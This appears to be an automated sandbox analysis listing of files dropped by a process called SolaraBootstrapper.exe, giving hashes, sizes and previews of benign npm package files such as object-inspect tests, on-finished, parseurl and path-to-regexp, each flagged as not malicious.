SHA-512:	5F203DFC57D7415CF52A97EFA394AF995F5035BD78C5FAFA554BCEF785D31AA943F6179DFFE3A959CE6E7B8C89220231F4472F9F7374F84430AF3C0C0CDD887A
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var obj = { x: 'a\r\nb', y: '\x05! \x1f \x12' };..test('interpolate low bytes', function (t) {. t.plan(1);. t.equal(. inspect(obj),. "{ x: 'a\\r\\nb', y: '\\x05! \\x1F \\x12' }". );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\number.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	4.777938348783971
Encrypted:	false
SSDEEP:	24:xYcJeHo52JVHorPmirTKnjO5D1Df/a5hroyGA2QIuOothVOoAgoCwo2hJOoNlJKl:ym5Kef/1yuCHEs6psJKs3
MD5:	7A7236780C79F49BD6E5F03B8295CFB4
SHA1:	D059D6691F8D227AB05E81CFB40119962154B51D
SHA-256:	B688DDF9D78CCD7B295B8D73DDFE29F0DA5EC5ACF884E570842106CA649F93D8
SHA-512:	BE115FC9FCF4BC9E4B67988ED77ED52D21F75043C2A7C4AE82E43DF74A5F9DE35A2CD64C1C7FA1C8DDE646B6477ACB914BA51BB7B61202323E950AEAD89BD9C9
Malicious:	false
Preview:	var test = require('tape');.var v = require('es-value-fixtures');.var forEach = require('for-each');..var inspect = require('../');..test('negative zero', function (t) {. t.equal(inspect(0), '0', 'inspect(0) === "0"');. t.equal(inspect(Object(0)), 'Object(0)', 'inspect(Object(0)) === "Object(0)"');.. t.equal(inspect(-0), '-0', 'inspect(-0) === "-0"');. t.equal(inspect(Object(-0)), 'Object(-0)', 'inspect(Object(-0)) === "Object(-0)"');.. t.end();.});..test('numericSeparator', function (t) {. forEach(v.nonBooleans, function (nonBoolean) {. t['throws'](. function () { inspect(true, { numericSeparator: nonBoolean }); },. TypeError,. inspect(nonBoolean) + ' is not a boolean'. );. });.. t.test('3 digit numbers', function (st) {. var failed = false;. for (var i = -999; i < 1000; i += 1) {. var actual = inspect(i);. var actualSepNo = inspect(i, { numericSeparator: false });. va

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\quoteStyle.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.612377624710445
Encrypted:	false
SSDEEP:	24:uIrlANJrhWAvlANJ+uvlANJZbvlANJXvlANJXvlANJ/FZvlANJk2vlANJyS:HBUGQ66s5QW
MD5:	AEC686CCCD79C71E578E292273B77D5A
SHA1:	1022E3F21738C55AD426C0664D80D946D2A52846
SHA-256:	ABCBFF1298CD64BA2486E8EC269E8BBED400C320CA04E4B646D95ADE1D9C07F4
SHA-512:	7B750F4D0B8F90A594FED2EE98E436C549C4727C81F1A29650E729DF54FF10E31214F17C9796EFEB1A4A0D19564E57EABE394A6BAAC28C1DB054D5F6F15032D1
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');..test('quoteStyle option', function (t) {. t['throws'](function () { inspect(null, { quoteStyle: false }); }, 'false is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: true }); }, 'true is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: '' }); }, '"" is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: {} }); }, '{} is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: [] }); }, '[] is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: 42 }); }, '42 is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: NaN }); }, 'NaN is not a valid value');. t['throws'](function () { inspect(null, { quoteStyle: function () {} }); }, 'a function is not a valid value');.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\toStringTag.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	4.822322690784088
Encrypted:	false
SSDEEP:	24:je2hNxOknzgyy4gNdmga0ad7w6Sad+EkOcOOrU1pOexxoBU1LjeOo4B:jRLOZjNc+aJKajkjnCOApSOb
MD5:	EB83817B7462211617E9B6473D87ABED
SHA1:	8990589B814ED0E62D5DDFA37A9D5FE2561EB689
SHA-256:	C8EDFFBCCCB9AE87C3DBF9F8E0E3112DC4F062AC911AA54B0A40F8639988A114
SHA-512:	7A3298CDD70C3E3A1995BD6E0EDC51820EFE0184F71D3F63443087A4B111CFF73942992FEA5BCC496D7D937978701B43495FD5BEF9A3A506905E5F47EAB6EC14
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();..var inspect = require('../');..test('Symbol.toStringTag', { skip: !hasToStringTag }, function (t) {. t.plan(4);.. var obj = { a: 1 };. t.equal(inspect(obj), '{ a: 1 }', 'object, no Symbol.toStringTag');.. obj[Symbol.toStringTag] = 'foo';. t.equal(inspect(obj), '{ a: 1, [Symbol(Symbol.toStringTag)]: \'foo\' }', 'object with Symbol.toStringTag');.. t.test('null objects', { skip: 'toString' in { __proto__: null } }, function (st) {. st.plan(2);.. var dict = { __proto__: null, a: 1 };. st.equal(inspect(dict), '[Object: null prototype] { a: 1 }', 'null object with Symbol.toStringTag');.. dict[Symbol.toStringTag] = 'Dict';. st.equal(inspect(dict), '[Dict: null prototype] { a: 1, [Symbol(Symbol.toStringTag)]: \'Dict\' }', 'null object with Symbol.toStringTag');. });.. t.test('instances', function (st) {. st.plan(4);.. fun

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\undef.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.474360037688691
Encrypted:	false
SSDEEP:	6:qULoxHR+mLwKJ0WdvPVP/oQ3pkWgrw0WBdZhw:zyH4mr3o1W2w7w
MD5:	EB05458C869D75C0405906C1DCF66442
SHA1:	DA8ADC357DBD8E3C557224737C608494311EF49D
SHA-256:	B1F88FEB036F85511AAACEB85CA3676C98B56D14130E09D9501056F917862281
SHA-512:	24A31FD461D586670CB385D3F6C41A01D2AD07E7A932D31A7EA79005F4480C0EE1E92DD1201D8C818410433F03A29FFFFF52DE038A844D5A8775F0CF47597F2C
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var obj = { a: 1, b: [3, 4, undefined, null], c: undefined, d: null };..test('undef and null', function (t) {. t.plan(1);. t.equal(. inspect(obj),. '{ a: 1, b: [ 3, 4, undefined, null ], c: undefined, d: null }'. );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\values.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7034
Entropy (8bit):	4.91843404364377
Encrypted:	false
SSDEEP:	192:UgSay9iJQiZHwmQpUh98q7hDfhZwKfSDHT:UX4QiO1pu988DwDz
MD5:	085255FAD7CB4160A69DAF9BC1640ADF
SHA1:	73179FF75FBD8F9F9A2A3A25D415262FD8C82EA6
SHA-256:	38654BBCDE063DFC081F6010E4D795E961A09CC80DBF00AD39670FEC8EB7718F
SHA-512:	B24C9F9540DFE0864C19D4305C306EB986EA48AF86E52A6C814F7B89D9484AA40904125B87F06290B173E007D6DA67A6C2C9B271BCD4DC3E7CF68F2F8CAA9E71
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var mockProperty = require('mock-property');.var hasSymbols = require('has-symbols/shams')();.var hasToStringTag = require('has-tostringtag/shams')();..test('values', function (t) {. t.plan(1);. var obj = [{}, [], { 'a-b': 5 }];. t.equal(inspect(obj), '[ {}, [], { \'a-b\': 5 } ]');.});..test('arrays with properties', function (t) {. t.plan(1);. var arr = [3];. arr.foo = 'bar';. var obj = [1, 2, arr];. obj.baz = 'quux';. obj.index = -1;. t.equal(inspect(obj), '[ 1, 2, [ 3, foo: \'bar\' ], baz: \'quux\', index: -1 ]');.});..test('has', function (t) {. t.plan(1);. t.teardown(mockProperty(Object.prototype, 'hasOwnProperty', { 'delete': true }));.. t.equal(inspect({ a: 1, b: 2 }), '{ a: 1, b: 2 }');.});..test('indexOf seen', function (t) {. t.plan(1);. var xs = [1, 2, 3, {}];. xs.push(xs);.. var seen = [];. seen.indexOf = undefined;.. t.equal(. inspect(xs,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\util.inspect.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.3297176493718394
Encrypted:	false
SSDEEP:	3:3BBBbJ4RI5VAhn:xBBKeAh
MD5:	7BE99E6D26FA9567C53527A9F2A0B799
SHA1:	112022493FBDFF21234DDCB2C94D2CF43766C7FB
SHA-256:	BB49299375C82D8D22983B76F6C25CD9AC923DC61CD25FFFE9B3F71DAD26DC40
SHA-512:	DF05BF7B8A0550EA49D085FFDA70A803980079CBFB739445AB02643264451D125478BAF139B9A58F85D4074FEFBC0192F9E3170B8031D040F1310FACD04B03E8
Malicious:	false
Preview:	module.exports = require('util').inspect;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1865
Entropy (8bit):	4.705247315400775
Encrypted:	false
SSDEEP:	48:/jJg7Yz+DK6sQ6r7K4BQs87Yx4CTyj2BYGbJvOMGz:/jJ+Yz+D6r7FBQsqYxgQ7y
MD5:	1B37A008548EB829D8D7E296AF2DAA36
SHA1:	90B4A9C7134567AD4C80AB8B97472B1D7792434E
SHA-256:	1954661AFCAEE2B2E961F1B56DC9694F3074608DEF2A4AE75F7B1203D18086CA
SHA-512:	71BDBD2FD52238049D91275CF2B13E84969CA567C98C7D8CA705C1B503A78B43D6811C6727C75EF8302056AE85AFE851F2FD7E70F4E0334E44C8F6AD11A72C72
Malicious:	false
Preview:	2.4.1 / 2022-02-22.==================.. * Fix error on early async hooks implementations..2.4.0 / 2022-02-21.==================.. * Prevent loss of async hooks context..2.3.0 / 2015-05-26.==================.. * Add defined behavior for HTTP `CONNECT` requests. * Add defined behavior for HTTP `Upgrade` requests. * deps: ee-first@1.1.1..2.2.1 / 2015-04-22.==================.. * Fix `isFinished(req)` when data buffered..2.2.0 / 2014-12-22.==================.. * Add message object to callback arguments..2.1.1 / 2014-10-22.==================.. * Fix handling of pipelined requests..2.1.0 / 2014-08-16.==================.. * Check if `socket` is detached. * Return `undefined` for `isFinished` if state unknown..2.0.0 / 2014-08-16.==================.. * Add `isFinished` function. * Move to `jshttp` organization. * Remove support for plain socket argument. * Rename to `on-finished`. * Support both `req` and `res` as arguments. * deps: ee-first@1.0.5..1.2.2 / 2014-06-10.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:g1iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:g1iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	1B1F7F9CEC194121FDF616B971DF7A7B
SHA1:	A3AA1554383F2419EC0DBCF207CA449EF7DC66CF
SHA-256:	8089BCC08845EC143E5761F4A101A65B8C792A0DEDBFEEB90A15560C0B77F768
SHA-512:	D984289EE5994589E88482F748FC00327A6D66A32C1773DC08B835B431B76EE8041A28BE5043E0C96C75E7DC77223A094CE7C1162227AFAD3BCEE0A60A68232F
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5160
Entropy (8bit):	4.88883335384546
Encrypted:	false
SSDEEP:	96:ipCM150Rv+ZTcypFpeESdu+SwlmDoJOknXCOcCUnJyI3UJyWhbX3Kn:UC81iKwlmonStEhm
MD5:	562D5D7422331487F93E06407128AA82
SHA1:	F5063BA874F2E3B282FE87921DF945EF0358D616
SHA-256:	B52E3F3A4CE4FA24C28FE59CCC08B5F4866EB5DD57943718A4A914F35901AA89
SHA-512:	13BC7EDEDD4F7B27CB28A47895E9FF239E55DCE77DC1CDDBE3BB603462D44F564FD1C4A536F626B3D69CD1BAB15920F65CF7AB0683FCFC7F33872B1242F2E208
Malicious:	false
Preview:	# on-finished..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Execute a callback when a HTTP request closes, finishes, or errors...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install on-finished.```..## API..```js.var onFinished = require('on-finished').```..### onFinished(res, listener)..Attach a listener to listen for the response to finish. The listener will.be invoked only once when the response finished. If the response finished.to an error, the first argument will contain the error. If the response.has already finished, the listener will be invoked...Listening to the end of a response

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	4.819531405733524
Encrypted:	false
SSDEEP:	96:BZ90D5eD/n8EfkUlOXld3ZnzS75I51TNZ9FeVz2qNKXIhXDlp:b9uc8UkU4Xz3ZzY+1TNHF42aKXUXDlp
MD5:	B1C3D24B92F25989B8AEFC7F6AAA91BA
SHA1:	3F69307BD04CC4DFE71CD13616509F443B48F923
SHA-256:	8E16BAE14EC63BAC9CDBB50572A7B53061FEE914712F5E803FF03C44E8845276
SHA-512:	4225C714BEC718D7CC59CD2C91A07A77E41CCE3AB52502BF9B5B9CCD7D0CE88C040E0A765E5B2C3576AC8F101DC00FFF94F8C7AC7586111A545B228831A11ED0
Malicious:	false
Preview:	/!. on-finished. * Copyright(c) 2013 Jonathan Ong. * Copyright(c) 2014 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = onFinished.module.exports.isFinished = isFinished../. Module dependencies.. * @private. /..var asyncHooks = tryRequireAsyncHooks().var first = require('ee-first')../. Variables.. * @private. /../ istanbul ignore next /.var defer = typeof setImmediate === 'function'. ? setImmediate. : function (fn) { process.nextTick(fn.bind.apply(fn, arguments)) }../. Invoke callback when the response has finished, useful for. * cleaning up resources afterwards.. . @param {object} msg. * @param {function} listener. * @return {object}. * @public. /..function onFinished (msg, listener) {. if (isFinished(msg) !== false) {. defer(listener, null, msg). return msg. }.. // attach the listener to the message. attachListener(msg, wrap(listener)).. return msg.}../. Determine if message i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\on-finished\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	4.804895526121064
Encrypted:	false
SSDEEP:	24:x3cR1wxVWbeN670YuNCHRIZBlWAuoZKLvP:Z6eVWbec4YuNCHRIzUtoorP
MD5:	436846DD0F4348AC2EE93C9C5EB291E4
SHA1:	777E9CD400B42DEE1199EACFB325876CAEAFF3CC
SHA-256:	C812ECA4B0DEE2317CB446124CB27AE8E5B993C8FDD0144886B629EF6EF53FC1
SHA-512:	D261E261BC9D2E5A39A50C6B072E6DA995764769ABDC4F9F3CF219CC2296C0E45EE194C3F4F431A248FD1D46D90745AD0B576D2FCB24E59D9208804B9C1532D7
Malicious:	false
Preview:	{. "name": "on-finished",. "description": "Execute a callback when a request closes, finishes, or errors",. "version": "2.4.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/on-finished",. "dependencies": {. "ee-first": "1.1.1". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.1",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	4.739303790993595
Encrypted:	false
SSDEEP:	24:MQ1Z4386QRnieR8AX2ORyUyDtw3zZ6SGj0:Z4386QRnd8ADRyrQd
MD5:	0F7F38FA8D79E3BF70557EF4A655D412
SHA1:	DEE736EDC00ED5282B24CD6DBB3AECE6B36CCB2D
SHA-256:	AA6E5CD75DDDE03B54623AF11E6AEB6F92CCF6A1C69805B20890228182030189
SHA-512:	A44AD1A193924E7201006422CB995254784AC2F5223733DD00C9A071902839822471271F8FABF91D7C729D0D51C441C73C31DBACCB1CD000CE9934FC535F671D
Malicious:	false
Preview:	1.3.3 / 2019-04-15.==================.. * Fix Node.js 0.8 return value inconsistencies..1.3.2 / 2017-09-09.==================.. * perf: reduce overhead for full URLs. * perf: unroll the "fast-path" `RegExp`..1.3.1 / 2016-01-17.==================.. * perf: enable strict mode..1.3.0 / 2014-08-09.==================.. * Add `parseurl.original` for parsing `req.originalUrl` with fallback. * Return `undefined` if `req.url` is `undefined`..1.2.0 / 2014-07-21.==================.. * Cache URLs based on original value. * Remove no-longer-needed URL mis-parse work-around. * Simplify the "fast-path" `RegExp`..1.1.3 / 2014-07-08.==================.. * Fix typo..1.1.2 / 2014-07-08.==================.. * Seriously fix Node.js 0.8 compatibility..1.1.1 / 2014-07-08.==================.. * Fix Node.js 0.8 compatibility..1.1.0 / 2014-07-08.==================.. * Incorporate URL href-only parse fast-path..1.0.1 / 2014-03-08.==================.. * Add missing `require`..1.0.0 / 2014-03-08.====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	5.195373648205954
Encrypted:	false
SSDEEP:	24:zbYiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:XYiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	E7842ED4F188E53E53C3E8D9C4807E89
SHA1:	96EE35A54FC07FF9945901C6E0AFDA0FBDC05BBF
SHA-256:	11D017C3B9F1EE3F44CAF7203035F0461D5B57E0DB8CE1BC03A9AF34FA7D3F6B
SHA-512:	D5682B61337113E6072A1AB3AAA288D04624CB4A3E9F46FDC0269A46617F471BE620565DE6A8063BC3F79B5F314648550545804EE6C5BFCA55C989EBBEB7365B
Malicious:	false
Preview:	.(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2017 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4094
Entropy (8bit):	5.16312951835478
Encrypted:	false
SSDEEP:	96:aC815HgCi6b3vNti6ov8+cTG+RlG+mwFO+f5+lpcIC+9KP7Q:aCEpiK3vitv9OvbmwFDfclpcI39+7Q
MD5:	59555697A7F93937AF7F76FE5326FA0D
SHA1:	74B8E0A598BF2F69D3A40B3962266EEA9B4F3061
SHA-256:	2D37D38021AA9EB04B9915958140A7E79350672555F60F4B271384DE1C0CFB81
SHA-512:	4E3A6CEC7709B3018FBDFA20FDA99277BC609E06AD45A6292652227F9751AF1BDD1CE0D873C3A5D547E07DF4FE5D0270F05AC2F32895471ADDC1D570C50E30AA
Malicious:	false
Preview:	# parseurl..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Parse a URL with memoization...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install parseurl.```..## API..```js.var parseurl = require('parseurl').```..### parseurl(req)..Parse the URL of the given request object (looks at the `req.url` property).and return the result. The result is the same as `url.parse` in Node.js core..Calling this function multiple times on the same `req` where `req.url` does.not change will return a cached parsed object, rather than parsing again...### parseurl.original(req)..Parse the original URL of the

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2809
Entropy (8bit):	4.756866369850906
Encrypted:	false
SSDEEP:	48:gXuWiipG3fbNRFSilsJLydtZER4iDL7gLydtCa7mPLnZ4BgdwevHwP8y/PpAOoij:s6ipobxSilsJLGiDL7gLB7PLnZ5we4Pf
MD5:	3750351B6B1AA7F3E65D5499EA45006E
SHA1:	7F8870A8A8D53BDA04D1C61037A348B5AE2F7DE8
SHA-256:	811223D4A19492CCC642384DC84F0AF4AD935557DFE8F63750D7FFD673E40F17
SHA-512:	F50D89B90850793E75919C19024A9F1FD27929628BC9C121D685F73C5472C756C8260F0101269550EE4708D370186472C01BA80A76E9220D1CE763F43725842E
Malicious:	false
Preview:	/!. parseurl. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var url = require('url').var parse = url.parse.var Url = url.Url../. Module exports.. * @public. /..module.exports = parseurl.module.exports.original = originalurl../. Parse the `req` url with memoization.. . @param {ServerRequest} req. * @return {Object}. * @public. /..function parseurl (req) {. var url = req.url.. if (url === undefined) {. // URL is undefined. return undefined. }.. var parsed = req._parsedUrl.. if (fresh(url, parsed)) {. // Return cached URL parse. return parsed. }.. // Parse the URL. parsed = fastparse(url). parsed._raw = url.. return (req._parsedUrl = parsed).};../. Parse the `req` original url with fallback and memoization.. . @param {ServerRequest} req. * @return {Object}. * @public. */..function originalurl (req) {. var url = req.originalUr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	4.874642556018479
Encrypted:	false
SSDEEP:	24:vJ01wbxVWbeeNvfP6iUg1nZM1qW5cn6T+lxnyCy8ei:BUwdVWbe6fSiUg1nq15580+NH
MD5:	5B1493BD775444F0994D0B1063DB1900
SHA1:	646DC756FF16C464FCB63E17B2CD5EE4AD4F8B66
SHA-256:	98C7B953C844CAC7C0BE2D5ABC6559C6FD3A6075FD159B04C0F1BF46145BFED2
SHA-512:	5BE5BA8E172D288FD8F66DD3AFCFAE75D9F48D7FED3648BC34B4901FCC3F6ECCA59AB7D6A73FDA298DBAD33A372D74C083696E9169E6A6485E7BC4B166FAE318
Malicious:	false
Preview:	{. "name": "parseurl",. "description": "parse a url with memoization",. "version": "1.3.3",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "repository": "pillarjs/parseurl",. "license": "MIT",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.17.1",. "eslint-plugin-node": "7.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "fast-url-parser": "1.1.3",. "istanbul": "0.4.5",. "mocha": "6.1.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --check-leaks --bail --reporter spec test/",. "test-cov": "istanbul cover node_modules/mocha/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\History.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	694
Entropy (8bit):	4.570240121931512
Encrypted:	false
SSDEEP:	12:4u0C9Xevwydt179PAwo06dByRSB6D9oRLfQTYQ7ZIj:r5exd9ILyRlBVF0
MD5:	9F6AE1A279C6994A01A2EC44294CB607
SHA1:	63EF807649D9D3F6028A1D9A4B23CD3AF750AE2A
SHA-256:	EE1E90F5F384416A9B98E8C7E99965A333980F0990F30220A8FC788063627D68
SHA-512:	E5B8429F93E59F8E4A1A250F9CAF15294CD2D03CC8BD2F1962E6DBDD844EF7EF503E784091F318EB04D9FB3FF30F5F3301E0C9C452457E8458B6C59F071B5695
Malicious:	false
Preview:	0.1.7 / 2015-07-28.==================.. * Fixed regression with escaped round brackets and matching groups...0.1.6 / 2015-06-19.==================.. * Replace `index` feature by outputting all parameters, unnamed and named...0.1.5 / 2015-05-08.==================.. * Add an index property for position in match result...0.1.4 / 2015-03-05.==================.. * Add license information..0.1.3 / 2014-07-06.==================.. * Better array support. * Improved support for trailing slash in non-ending mode..0.1.0 / 2014-03-06.==================.. * add options.end..0.0.2 / 2013-02-10.==================.. * Update to match current express. * add .license property to component.json.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	5.13317512688003
Encrypted:	false
SSDEEP:	24:bNtrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bNtaJHlxE35QHOs5exm3ogF5n
MD5:	44088BA57CB871A58ADD36CE51B8DE08
SHA1:	3A7F886B632D2197676A40020D354E84B7860604
SHA-256:	4EEB3271453A891DF609E5A9F4EE79A68307F730C13417A3BFEFFA604AC8CF25
SHA-512:	6D8B9708BFA1F3CFA2B63F90152CB6F26960C2BA54FA11A16C13E1D5A3F85F4121516699025B6B759E051B276509B1D69510B644241434E6F8F81B3DFA5A8E63
Malicious:	false
